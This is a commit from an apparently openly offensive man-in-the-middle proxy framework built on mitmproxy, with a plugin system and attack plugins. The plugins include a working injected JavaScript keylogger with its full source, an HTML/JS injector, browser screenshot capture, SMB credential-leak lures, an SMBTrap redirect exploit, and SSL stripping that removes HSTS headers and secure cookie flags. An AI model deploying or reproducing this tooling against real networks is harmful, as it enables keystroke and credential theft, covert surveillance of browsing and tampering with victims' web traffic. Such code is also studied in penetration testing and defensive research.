Initial commit for v1.0 using mitmproxy instead of twisted

Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!
This commit is contained in:
byt3bl33d3r 2016-02-06 13:27:08 -07:00
commit eea5f53be2
50 changed files with 5525 additions and 0 deletions

3
plugins/__init__.py Normal file
View file

@ -0,0 +1,3 @@
import os
import glob
__all__ = [os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]

View file

@ -0,0 +1,22 @@
import json
from plugins.plugin import Plugin
from plugins.inject import Inject
from pprint import pformat
class BrowserProfiler(Plugin):
name = 'Browser Profiler'
optname = 'browserprofiler'
desc = 'Attempts to enumerate all browser plugins of connected clients'
ver = '0.3'
def initialize(self, context):
context.js_file = open('plugins/resources/plugindetect.js', 'r')
def request(self, context, flow):
if flow.request.method == 'POST' and ('clientprfl' in flow.request.path):
context.handle_post_output = True
pretty_output = pformat(json.loads(flow.request.content))
context.log("[BrowserProfiler] Got data:\n{}".format(pretty_output))
def response(self, context, flow):
Inject().response(context, flow)

64
plugins/inject.py Normal file
View file

@ -0,0 +1,64 @@
import argparse
from bs4 import BeautifulSoup
from plugins.plugin import Plugin
from netlib.http import decoded
class Inject(Plugin):
name = 'Inject'
optname = 'inject'
desc = 'Inject arbitrary content into HTML content'
version = '1.0'
def response(self, context, flow):
if context.html_url and (flow.request.host in context.html_url):
return
if context.js_url and (flow.request.host in context.js_url):
return
if 'text/html' in flow.response.headers.get('content-type', ''):
with decoded(flow.response):
html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'), 'lxml')
if html.body:
if context.html_url:
iframe = html.new_tag('iframe', src=context.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
context.log('[Inject] Injected HTML Iframe: {}'.format(flow.request.host))
if context.html_payload:
payload = BeautifulSoup(context.html_payload, "html.parser")
html.body.append(payload)
context.log('[Inject] Injected HTML payload: {}'.format(flow.request.host))
if context.html_file:
payload = BeautifulSoup(context.html_file.read(), "html.parser")
html.body.append(payload)
context.log('[Inject] Injected HTML file: {}'.format(flow.request.host))
if context.js_url:
script = html.new_tag('script', type='text/javascript', src=context.js_url)
html.body.append(script)
context.log('[Inject] Injected JS script: {}'.format(flow.request.host))
if context.js_payload:
tag = html.new_tag('script', type='text/javascript')
tag.append(context.js_payload)
html.body.append(tag)
context.log('[Inject] Injected JS payload: {}'.format(flow.request.host))
if context.js_file:
tag = html.new_tag('script', type='text/javascript')
tag.append(context.js_file.read())
html.body.append(tag)
context.log('[Inject] Injected JS file: {}'.format(flow.request.host))
flow.response.content = str(html)
def options(self, options):
options.add_argument('--html-url', dest='html_url', type=str, help='URL of the HTML to inject')
options.add_argument('--html-payload', dest='html_payload', type=str, help='HTML string to inject')
options.add_argument('--html-file', dest='html_file', type=argparse.FileType('r'), help='File containing HTML to inject')
options.add_argument('--js-url', dest='js_url', type=str, help='URL of the JS to inject')
options.add_argument('--js-payload', dest='js_payload', type=str, help='JS string to inject')
options.add_argument('--js-file', dest='js_file', type=argparse.FileType('r'), help='File containing JS to inject')

43
plugins/jskeylogger.py Normal file
View file

@ -0,0 +1,43 @@
from plugins.plugin import Plugin
from plugins.inject import Inject
class JSKeylogger(Plugin):
name = 'JS Keylogger'
optname = 'jskeylogger'
desc = 'Injects a javascript keylogger into clients webpages'
version = '1.0'
def initialize(self, context):
context.js_file = open('plugins/resources/msfkeylogger.js', 'r')
def request(self, context, flow):
if flow.request.method == 'POST' and ('keylog' in flow.request.path):
#Overrides the default POST output
context.handle_post_output = True
raw_keys = flow.request.content.split("&&")[0]
input_field = flow.request.content.split("&&")[1]
keys = raw_keys.split(",")
if keys:
del keys[0]; del(keys[len(keys)-1])
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice[:-1]
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
context.log("[JSKeylogger] Error decoding char: {}".format(n))
context.log("[JSKeylogger] Host: {} | Field: {} | Keys: {}".format(flow.request.host, input_field, nice))
def response(self, context, flow):
Inject().response(context, flow)

45
plugins/plugin.py Normal file
View file

@ -0,0 +1,45 @@
'''
The base plugin class. This shows the various methods that
can get called during the MITM attack.
'''
import argparse
import logging
class Plugin(object):
name = "Example Plugin"
optname = "example"
desc = ""
version = "0.0"
def __init__(self, parser=None):
'''Optionally Passed the options namespace'''
if parser:
if self.desc:
sgroup = parser.add_argument_group(self.name, self.desc)
else:
sgroup = parser.add_argument_group(self.name,'Options for the {} plugin'.format(self.name))
sgroup.add_argument('--{}'.format(self.optname), action='store_true',help='Load plugin {}'.format(self.name))
self.options(sgroup)
def initialize(self, context):
'''Called when plugin is started'''
pass
def shutdown(self, context):
'''This will be called when shutting down'''
pass
def request(self, context, flow):
pass
def responseheaders(self, context, flow):
pass
def response(self, context, flow):
pass
def options(self, options):
'''Add your options to the options parser'''
pass

20
plugins/replace.py Normal file
View file

@ -0,0 +1,20 @@
import re
from netlib.http import decoded
from plugins.plugin import Plugin
class Replace(Plugin):
name = 'Replace'
optname = 'replace'
desc = 'Replace arbitrary content in HTML content'
version = '0.2'
def response(self, context, flow):
if flow.response.headers.get_first("content-type", "").startswith("text/html"):
with decoded(flow.response):
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, flow.response.content):
data = re.sub(regex1, regex2, flow.response.content)
context.log("[Replace] Occurances matching '{}' replaced with '{}' according to rule '{}' on {}".format(regex1, regex2, rulename, flow.request.host))
flow.response.content = data

View file

@ -0,0 +1,117 @@
window.onload = function (){
var2 = ",";
name = '';
function make_xhr(){
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
xhr = make_xhr();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
}
if (window.addEventListener){
//console.log("first");
document.addEventListener('keypress', function2, true);
document.addEventListener('keydown', function1, true);
}
else if (window.attachEvent){
//console.log("second");
document.attachEvent('onkeypress', function2);
document.attachEvent('onkeydown', function1);
}
else {
//console.log("third");
document.onkeypress = function2;
document.onkeydown = function1;
}
}
function function2(e)
{
try
{
srcname = window.event.srcElement.name;
}catch(error)
{
srcname = e.srcElement ? e.srcElement.name : e.target.name
if (srcname == "")
{
srcname = e.target.name
}
}
var3 = (e) ? e.keyCode : e.which;
if (var3 == 0)
{
var3 = e.charCode
}
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
{
andxhr(var3.toString(16), srcname);
}
}
function function1(e)
{
try
{
srcname = window.event.srcElement.name;
}catch(error)
{
srcname = e.srcElement ? e.srcElement.name : e.target.name
if (srcname == "")
{
srcname = e.target.name
}
}
var3 = (e) ? e.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13)
{
andxhr(var3.toString(16), srcname);
}
else if (var3 == 0)
{
text = document.getElementById(id).value;
if (text.length != 0)
{
andxhr(text.toString(16), srcname);
}
}
}
function andxhr(key, inputName)
{
if (inputName != name)
{
name = inputName;
var2 = ",";
}
var2= var2 + key + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(var2 + '&&' + inputName);
if (key == 13 || var2.length > 3000)
{
var2 = ",";
}
}

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load diff

35
plugins/screenshotter.py Normal file
View file

@ -0,0 +1,35 @@
import re
from base64 import b64decode
from urllib import unquote
from datetime import datetime
from plugins.plugin import Plugin
from plugins.inject import Inject
class ScreenShotter(Plugin):
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
version = '0.2'
def initialize(self, context):
payload = open('plugins/resources/screenshot.js', 'r').read()
payload = re.sub('SECONDS_GO_HERE', str(context.interval*1000), payload)
context.js_payload = payload
def request(self, context, flow):
if flow.request.method == 'POST' and ('saveshot' in flow.request.path):
context.handle_post_output = True
img_file = '{}-{}-{}.png'.format(flow.client_conn.address.host, flow.request.host, datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(b64decode(unquote(flow.request.content).decode('utf8').split(',')[1]))
img.close()
context.log('[ScreenShotter] Saved screenshot to {}'.format(img_file))
except Exception as e:
context.log('[ScreenShotter] Error saving screenshot: {}'.format(e))
def response(self, context, flow):
Inject().response(context, flow)
def options(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")

16
plugins/smbauth.py Normal file
View file

@ -0,0 +1,16 @@
from plugins.plugin import Plugin
from plugins.inject import Inject
class SMBAuth(Plugin):
name = 'SMBAuth'
optname = 'smbauth'
desc = "Evoke SMB challenge-response auth attempts"
version = '0.1'
def initialize(self, context):
context.html_payload = '<img src=\"\\\\{}\\image.jpg\">'\
'<img src=\"file://///{}\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/{}\\image.jpg\">'.format(*tuple([context.ip]*3))
def response(self, context, flow):
Inject().response(context, flow)

21
plugins/smbtrap.py Normal file
View file

@ -0,0 +1,21 @@
import random
import string
from libmproxy.protocol.http import HTTPResponse
from plugins.plugin import Plugin
from netlib.odict import ODictCaseless
class SMBTrap(Plugin):
name = 'SMBTrap'
optname = 'smbtrap'
desc = "Exploits the SMBTrap vulnerability on connected clients"
version = "1.0"
def request(self, context, flow):
rand_name = ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase, 10))
resp = HTTPResponse(
[1, 1], 302, "OK",
ODictCaseless([["Location", "file://{}/{}".format(context.ip, rand_name)]]),
"Trapped!")
context.log("[SMBTrap] Trapped request to: {}".format(flow.request.host))
flow.reply(resp)

46
plugins/sslstrip.py Normal file
View file

@ -0,0 +1,46 @@
import re
from plugins.plugin import Plugin
from netlib.http import decoded
from six.moves import urllib
class SSLStrip(Plugin):
name = 'SSLStrip'
optname = 'sslstrip'
desc = 'Performs SSLStripping attacks on requested pages'
version = '1.0'
def initialize(self, context):
#set of SSL/TLS capable hosts
context.secure_hosts = set()
def request(self, context, flow):
flow.request.headers.pop('If-Modified-Since', None)
flow.request.headers.pop('Cache-Control', None)
#proxy connections to SSL-enabled hosts
if flow.request.pretty_host in context.secure_hosts :
flow.request.scheme = 'https'
flow.request.port = 443
def response(self, context, flow):
with decoded(flow.response) :
flow.request.headers.pop('Strict-Transport-Security', None)
flow.request.headers.pop('Public-Key-Pins', None)
#strip links in response body
flow.response.content = flow.response.content.replace('https://', 'http://')
#strip links in 'Location' header
if flow.response.headers.get('Location','').startswith('https://'):
location = flow.response.headers['Location']
hostname = urllib.parse.urlparse(location).hostname
if hostname:
context.secure_hosts.add(hostname)
flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
#strip secure flag from 'Set-Cookie' headers
cookies = flow.response.headers.get_all('Set-Cookie')
cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
flow.response.headers.set_all('Set-Cookie', cookies)

View file

@ -0,0 +1,23 @@
import cStringIO
from PIL import Image
from libmproxy.models import decoded
from plugins.plugin import Plugin
class Upsidedownternet(Plugin):
name = 'Upsidedownternet'
optname = 'upsidedownternet'
desc = 'Flips images 180 degrees'
version = '1.0'
def response(self, context, flow):
if flow.response.headers.get("content-type", "").startswith("image"):
with decoded(flow.response): # automatically decode gzipped responses.
try:
s = cStringIO.StringIO(flow.response.content)
img = Image.open(s).rotate(180)
s2 = cStringIO.StringIO()
img.save(s2, "png")
flow.response.content = s2.getvalue()
flow.response.headers["content-type"] = "image/png"
except: # Unknown image types etc.
pass